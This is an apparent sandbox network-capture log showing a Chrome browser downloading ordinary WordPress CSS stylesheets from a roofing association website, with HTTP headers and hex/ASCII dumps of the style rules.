2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 70 70 65 72 20 2e 63 61 72 6f 75 73 65 6c 2d 69 6e 6e 65 72 3e 2e 6e 65 78 74 7b 6c 65 66 74 3a 31 30 30 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 61 72 6f 75 73 65 6c 2d 69 6e 6e 65 72 3e 2e 70 72 65 76 7b 6c 65 66 74 3a 2d 31 30 30 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 61 72 6f 75 73 65 6c 2d 69 6e 6e 65 72 3e 2e 6e 65 78 74 2e 6c 65 66 74 2c 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 61 72 6f 75 73 65 6c 2d 69 6e 6e 65 72 3e 2e 70 72 65 76 2e 72 69 67 68 74 7b 6c 65 66 74 3a 30 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 61 72 6f 75 73 65 6c 2d 69 6e 6e 65 72 3e 2e 61 63 74 69 76 65 2e 6c 65 66 74 7b 6c 65 66 74 3a 2d 31 30 30 25 7d 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 63 61 72 6f 75 73 65 Data Ascii: pper .carousel-inner>.next{left:100%}.pt-cv-wrapper .carousel-inner>.prev{left:-100%}.pt-cv-wrapper .carousel-inner>.next.left,.pt-cv-wrapper .carousel-inner>.prev.right{left:0}.pt-cv-wrapper .carousel-inner>.active.left{left:-100%}.pt-cv-wrapper .carouse
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 70 74 2d 63 76 2d 76 69 65 77 3a 6e 6f 74 28 2e 69 73 63 76 62 6c 6f 63 6b 29 20 61 2c 2e 70 74 2d 63 76 2d 77 72 61 70 70 65 72 20 2e 70 74 2d 63 76 2d 76 69 65 77 3a 6e 6f 74 28 2e 69 73 63 76 62 6c 6f 63 6b 29 20 2e 62 74 6e 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 70 74 2d 63 76 2d 76 69 65 77 20 61 7b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 61 75 74 6f 7d 2e 70 74 2d 63 76 2d 72 65 61 64 6d 6f 72 65 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 70 74 2d 63 76 2d 63 6f 6e 74 65 6e 74 2d 69 74 65 6d 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 Data Ascii: pt-cv-view:not(.iscvblock) a,.pt-cv-wrapper .pt-cv-view:not(.iscvblock) .btn{text-decoration:none!important}.pt-cv-view a{pointer-events:auto}.pt-cv-readmore{color:#fff;margin:10px 0;max-width:100%}.pt-cv-content-item{padding-bottom:15px;position:relative

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49723	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:40 UTC	626	OUT	GET /wp-content/plugins/pt-content-views-pro/public/assets/css/cvpro.min.css?ver=5.1.2.2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:40 UTC	541	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:40 GMT Content-Type: text/css Content-Length: 76356 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "1520508-12a44-5b419ed2ec280" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:40 UTC	7651	IN	Data Raw: 23 63 76 70 62 6f 78 4f 76 65 72 6c 61 79 2c 23 63 76 70 62 6f 78 57 72 61 70 70 65 72 2c 23 63 76 70 63 6f 6c 6f 72 62 6f 78 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 7a 2d 69 6e 64 65 78 3a 39 39 39 39 7d 23 63 76 70 62 6f 78 57 72 61 70 70 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 7d 23 63 76 70 62 6f 78 4f 76 65 72 6c 61 79 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 7d 23 63 76 70 62 6f 78 42 6f 74 74 6f 6d 4c 65 66 74 2c 23 63 76 70 62 6f 78 4d 69 64 64 6c 65 4c 65 66 74 7b 63 6c 65 61 72 3a 6c 65 66 74 7d 23 63 76 70 62 6f 78 43 6f 6e 74 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 63 76 70 62 Data Ascii: #cvpboxOverlay,#cvpboxWrapper,#cvpcolorbox{position:absolute;top:0;left:0;z-index:9999}#cvpboxWrapper{max-width:none}#cvpboxOverlay{position:fixed;width:100%;height:100%}#cvpboxBottomLeft,#cvpboxMiddleLeft{clear:left}#cvpboxContent{position:relative}#cvpb
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 6a 71 75 69 2d 64 61 74 65 70 69 63 6b 65 72 20 2e 6a 71 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 62 75 74 74 6f 6e 70 61 6e 65 20 62 75 74 74 6f 6e 7b 66 6c 6f 61 74 3a 72 69 67 68 74 3b 6d 61 72 67 69 6e 3a 2e 35 65 6d 20 2e 32 65 6d 20 2e 34 65 6d 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 70 61 64 64 69 6e 67 3a 2e 32 65 6d 20 2e 36 65 6d 20 2e 33 65 6d 3b 77 69 64 74 68 3a 61 75 74 6f 3b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 2e 6a 71 75 69 2d 64 61 74 65 70 69 63 6b 65 72 20 2e 6a 71 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 62 75 74 74 6f 6e 70 61 6e 65 20 62 75 74 74 6f 6e 2e 6a 71 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 63 75 72 72 65 6e 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 6a 71 75 69 2d Data Ascii: -bottom:0}.jqui-datepicker .jqui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em;width:auto;overflow:visible}.jqui-datepicker .jqui-datepicker-buttonpane button.jqui-datepicker-current{float:left}.jqui-
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 74 68 69 63 6b 2d 31 2d 73 77 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 38 30 70 78 20 2d 34 38 70 78 7d 2e 6a 71 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 74 68 69 63 6b 2d 31 2d 77 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 39 36 70 78 20 2d 34 38 70 78 7d 2e 6a 71 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 74 68 69 63 6b 2d 31 2d 6e 77 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 31 32 70 78 20 2d 34 38 70 78 7d 2e 6a 71 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 74 68 69 63 6b 2d 32 2d 6e 2d 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 32 38 70 78 20 2d 34 38 70 78 7d 2e 6a 71 75 69 2d 69 63 6f 6e 2d 61 72 72 6f 77 74 68 69 63 6b Data Ascii: i-icon-arrowthick-1-sw{background-position:-80px -48px}.jqui-icon-arrowthick-1-w{background-position:-96px -48px}.jqui-icon-arrowthick-1-nw{background-position:-112px -48px}.jqui-icon-arrowthick-2-n-s{background-position:-128px -48px}.jqui-icon-arrowthick
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 64 61 74 65 70 69 63 6b 65 72 7b 70 61 64 64 69 6e 67 3a 30 7d 2e 6a 71 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 68 65 61 64 65 72 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 36 30 37 44 38 42 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 2e 6a 71 75 69 2d 64 61 74 65 70 69 63 6b 65 72 2d 68 65 61 64 65 72 20 2e 6a 71 75 69 2d 73 74 61 74 65 2d 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 38 64 63 35 33 32 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 6a 71 75 69 2d 64 61 74 65 70 Data Ascii: datepicker{padding:0}.jqui-datepicker-header{border:none;background-color:#607D8B;border-radius:0;-webkit-border-radius:0;-moz-border-radius:0}.jqui-datepicker-header .jqui-state-hover{background:#8dc532;border-color:transparent;cursor:pointer}.jqui-datep
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 3a 6e 6f 77 72 61 70 7d 2e 69 72 73 2d 67 72 69 64 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 62 6f 74 74 6f 6d 3a 30 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 32 30 70 78 7d 2e 69 72 73 2d 77 69 74 68 2d 67 72 69 64 20 2e 69 72 73 2d 67 72 69 64 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 69 72 73 2d 67 72 69 64 2d 70 6f 6c 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 70 78 3b 68 65 69 67 68 74 3a 38 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 7d 2e 69 72 73 2d 67 72 69 64 2d 70 6f 6c 2e 73 6d 61 6c 6c 7b 68 65 69 67 68 74 3a 34 70 78 7d 2e 69 72 73 2d 67 72 69 64 2d 74 65 78 74 7b Data Ascii: :nowrap}.irs-grid{position:absolute;display:none;bottom:0;left:0;width:100%;height:20px}.irs-with-grid .irs-grid{display:block}.irs-grid-pol{position:absolute;top:0;left:0;width:1px;height:8px;background:#000}.irs-grid-pol.small{height:4px}.irs-grid-text{
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 63 76 2d 76 69 65 77 20 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 3a 68 6f 76 65 72 20 73 70 61 6e 7b 63 6f 6c 6f 72 3a 23 30 30 46 46 31 34 7d 2e 70 74 2d 63 76 2d 76 69 65 77 20 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 68 65 76 72 6f 6e 2d 6c 65 66 74 2c 2e 70 74 2d 63 76 2d 76 69 65 77 20 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 20 2e 67 6c 79 70 68 69 63 6f 6e 2d 63 68 65 76 72 6f 6e 2d 72 69 67 68 74 2c 2e 70 74 2d 63 76 2d 76 69 65 77 20 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 20 2e 69 63 6f 6e 2d 6e 65 78 74 2c 2e 70 74 2d 63 76 2d 76 69 65 77 20 2e 63 61 72 6f 75 73 65 6c 2d 63 6f 6e 74 72 6f 6c 20 2e 69 63 6f 6e 2d 70 72 65 76 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 Data Ascii: cv-view .carousel-control:hover span{color:#00FF14}.pt-cv-view .carousel-control .glyphicon-chevron-left,.pt-cv-view .carousel-control .glyphicon-chevron-right,.pt-cv-view .carousel-control .icon-next,.pt-cv-view .carousel-control .icon-prev{font-size:13p
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 6d 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 35 70 78 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 70 74 2d 63 76 2d 63 6f 6c 73 79 73 2e 70 74 2d 63 76 2d 70 6f 73 74 2d 62 6f 72 64 65 72 20 5b 64 61 74 61 2d 63 76 63 3d 22 31 22 5d 20 2e 63 6f 6c 2d 6d 64 2d 31 32 2c 2e 70 74 2d 63 76 2d 63 6f 6c 73 79 73 2e 70 74 2d 63 76 2d 70 6f 73 74 2d 62 6f 72 64 65 72 20 5b 64 61 74 61 2d 63 76 63 3d 22 31 31 22 5d 20 2e 63 6f 6c 2d 6d 64 2d 31 3a 6e 74 68 2d 63 68 69 6c 64 28 31 31 6e 2b 31 29 2c 2e 70 74 2d 63 76 2d 63 6f 6c 73 79 73 2e 70 74 2d 63 76 2d 70 6f 73 74 2d 62 6f 72 64 65 72 20 5b 64 61 74 61 2d 63 76 63 3d 22 31 32 22 5d 20 2e 63 6f 6c 2d 6d 64 2d 31 3a 6e 74 68 2d 63 68 69 6c 64 28 31 32 6e 2b 31 29 2c 2e 70 74 Data Ascii: m{padding-top:15px}@media (min-width:992px){.pt-cv-colsys.pt-cv-post-border [data-cvc="1"] .col-md-12,.pt-cv-colsys.pt-cv-post-border [data-cvc="11"] .col-md-1:nth-child(11n+1),.pt-cv-colsys.pt-cv-post-border [data-cvc="12"] .col-md-1:nth-child(12n+1),.pt
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 78 4d 54 4c 45 78 63 57 2f 76 38 41 57 46 68 62 76 38 50 43 61 6d 70 76 39 2f 66 33 70 36 65 72 73 37 4f 79 54 6b 35 53 51 6b 4a 42 69 59 32 4e 5a 57 6c 70 64 58 6c 34 31 4e 6a 62 4b 79 38 75 36 75 37 77 72 4c 43 78 6c 5a 6d 61 59 6d 5a 6b 4d 44 51 30 45 42 51 57 4d 6a 59 30 38 50 54 33 4d 7a 73 36 77 73 62 4b 36 4a 66 4f 62 41 41 41 41 52 33 52 53 54 6c 4d 41 4e 67 72 37 52 67 6a 6a 2b 50 33 70 63 62 66 55 46 2f 54 74 59 68 53 73 70 6f 55 70 32 36 35 47 6e 4d 4a 33 4a 44 74 7a 38 63 67 44 61 39 77 65 57 51 57 38 44 59 39 44 4c 71 6d 38 6e 74 45 62 4d 49 48 4c 4b 5a 45 51 67 30 31 6f 71 6e 32 49 33 46 69 76 49 4d 54 62 38 2f 50 63 32 53 53 7a 64 2b 67 41 41 41 4c 2b 53 55 52 42 56 48 68 65 70 64 65 48 63 75 4a 49 45 4d 66 68 76 32 53 68 42 49 68 73 6b 35 Data Ascii: xMTLExcW/v8AWFhbv8PCampv9/f3p6ers7OyTk5SQkJBiY2NZWlpdXl41NjbKy8u6u7wrLCxlZmaYmZkMDQ0EBQWMjY08PT3Mzs6wsbK6JfObAAAAR3RSTlMANgr7Rgjj+P3pcbfUF/TtYhSspoUp265GnMJ3JDtz8cgDa9weWQW8DY9DLqm8ntEbMIHLKZEQg01oqn2I3FivIMTb8/Pc2SSzd+gAAAL+SURBVHhepdeHcuJIEMfhv2ShBIhsk5
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 2f 5c 30 30 61 30 22 3b 70 61 64 64 69 6e 67 3a 30 20 35 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 63 7d 2e 62 72 65 61 64 63 72 75 6d 62 2e 70 74 2d 63 76 2d 66 69 6c 74 65 72 2d 62 61 72 3e 2e 61 63 74 69 76 65 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 7d 2e 62 72 65 61 64 63 72 75 6d 62 2e 70 74 2d 63 76 2d 66 69 6c 74 65 72 2d 62 61 72 3e 6c 69 20 61 7b 70 61 64 64 69 6e 67 3a 35 70 78 20 31 30 70 78 7d 2e 70 74 2d 63 76 2d 66 69 6c 74 65 72 2d 62 61 72 3a 6e 6f 74 28 2e 70 74 2d 63 76 2d 66 69 6c 74 65 72 2d 67 72 6f 75 70 29 20 2e 70 74 2d 63 76 2d 66 69 6c 74 65 72 2d 6f 70 74 69 6f 6e 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 Data Ascii: efore{content:"/\00a0";padding:0 5px;color:#ccc}.breadcrumb.pt-cv-filter-bar>.active{color:#777;padding-left:0}.breadcrumb.pt-cv-filter-bar>li a{padding:5px 10px}.pt-cv-filter-bar:not(.pt-cv-filter-group) .pt-cv-filter-option{border-color:#fff!important;b
2024-04-23 14:53:40 UTC	3169	IN	Data Raw: 64 61 74 61 2d 63 76 63 3d 22 38 22 5d 20 2e 63 6f 6c 2d 6d 64 2d 31 3a 6e 74 68 2d 63 68 69 6c 64 28 38 6e 2b 31 29 2c 2e 70 74 2d 63 76 2d 72 74 6c 2e 70 74 2d 63 76 2d 63 6f 6c 73 79 73 20 5b 64 61 74 61 2d 63 76 63 3d 22 39 22 5d 20 2e 63 6f 6c 2d 6d 64 2d 31 3a 6e 74 68 2d 63 68 69 6c 64 28 39 6e 2b 31 29 2c 2e 70 74 2d 63 76 2d 72 74 6c 2e 70 74 2d 63 76 2d 63 6f 6c 73 79 73 20 5b 64 61 74 61 2d 63 76 63 3d 22 31 30 22 5d 20 2e 63 6f 6c 2d 6d 64 2d 31 3a 6e 74 68 2d 63 68 69 6c 64 28 31 30 6e 2b 31 29 2c 2e 70 74 2d 63 76 2d 72 74 6c 2e 70 74 2d 63 76 2d 63 6f 6c 73 79 73 20 5b 64 61 74 61 2d 63 76 63 3d 22 31 31 22 5d 20 2e 63 6f 6c 2d 6d 64 2d 31 3a 6e 74 68 2d 63 68 69 6c 64 28 31 31 6e 2b 31 29 7b 63 6c 65 61 72 3a 72 69 67 68 74 21 69 6d 70 6f Data Ascii: data-cvc="8"] .col-md-1:nth-child(8n+1),.pt-cv-rtl.pt-cv-colsys [data-cvc="9"] .col-md-1:nth-child(9n+1),.pt-cv-rtl.pt-cv-colsys [data-cvc="10"] .col-md-1:nth-child(10n+1),.pt-cv-rtl.pt-cv-colsys [data-cvc="11"] .col-md-1:nth-child(11n+1){clear:right!impo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49726	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:40 UTC	601	OUT	GET /wp-includes/css/dist/block-library/style.min.css?ver=6.0.7 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:40 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:40 GMT Content-Type: text/css Content-Length: 88932 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 04 Jul 2022 12:10:37 GMT ETag: "461cc7-15b64-5e2f99fa9e940" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:40 UTC	7652	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 20 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 35 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 61 75 64 69 6f 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 77 69 64 74 68 3a 33 30 30 70 78 7d 2e 77 Data Ascii: @charset "UTF-8";.wp-block-archives-dropdown label{display:block}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{margin:0 0 1em}.wp-block-audio figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-audio audio{width:100%;min-width:300px}.w
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 6c 61 73 73 2a 3d 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 5d 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 20 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 20 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 3a 62 65 66 6f 72 65 2c 2e 77 70 2d Data Ascii: lass*=-background-color]){background-color:#000}.wp-block-cover-image .has-background-dim.has-background-gradient,.wp-block-cover .has-background-dim.has-background-gradient{background-color:transparent}.wp-block-cover-image.has-background-dim:before,.wp-
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 34 30 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 34 30 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 34 30 7b 6f 70 61 63 69 74 79 3a 2e 34 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f Data Ascii: -dim.has-background-dim-40,.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover-image .wp-block-cover_
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 6c 65 66 74 3a 30 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 65 6d 62 65 64 2d 72 65 73 70 6f 6e 73 69 76 65 20 2e 77 70 2d 65 6d 62 65 64 2d 61 73 70 65 63 74 2d 32 31 2d 39 20 2e 77 70 2d 62 6c 6f 63 6b 2d 65 6d 62 65 64 5f 5f 77 72 61 70 70 65 72 3a 62 65 66 6f 72 65 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 34 32 2e 38 35 25 7d 2e 77 70 2d 65 6d 62 65 64 2d 72 65 73 70 6f 6e 73 69 76 65 20 2e 77 70 2d 65 6d 62 65 64 2d 61 73 70 65 63 74 2d 31 38 2d 39 20 2e 77 70 2d 62 6c 6f 63 6b 2d 65 6d 62 65 64 5f 5f 77 72 61 70 70 65 72 3a 62 65 66 6f 72 65 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 35 30 25 7d 2e 77 70 2d 65 6d 62 65 64 2d 72 65 73 70 6f 6e 73 69 76 65 20 2e 77 70 2d 65 6d 62 65 64 2d 61 73 70 65 63 74 2d 31 36 Data Ascii: left:0;height:100%;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16
2024-04-23 14:53:40 UTC	8192	IN	Data Raw: 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 37 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 6d 61 67 65 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 37 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 37 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 74 65 6d 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 37 6e 29 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 38 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 6d 61 67 65 3a 6e 74 68 2d 6f 66 2d 74 79 70 65 28 38 6e 29 2c 2e 62 6c 6f 63 Data Ascii: s-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.bloc
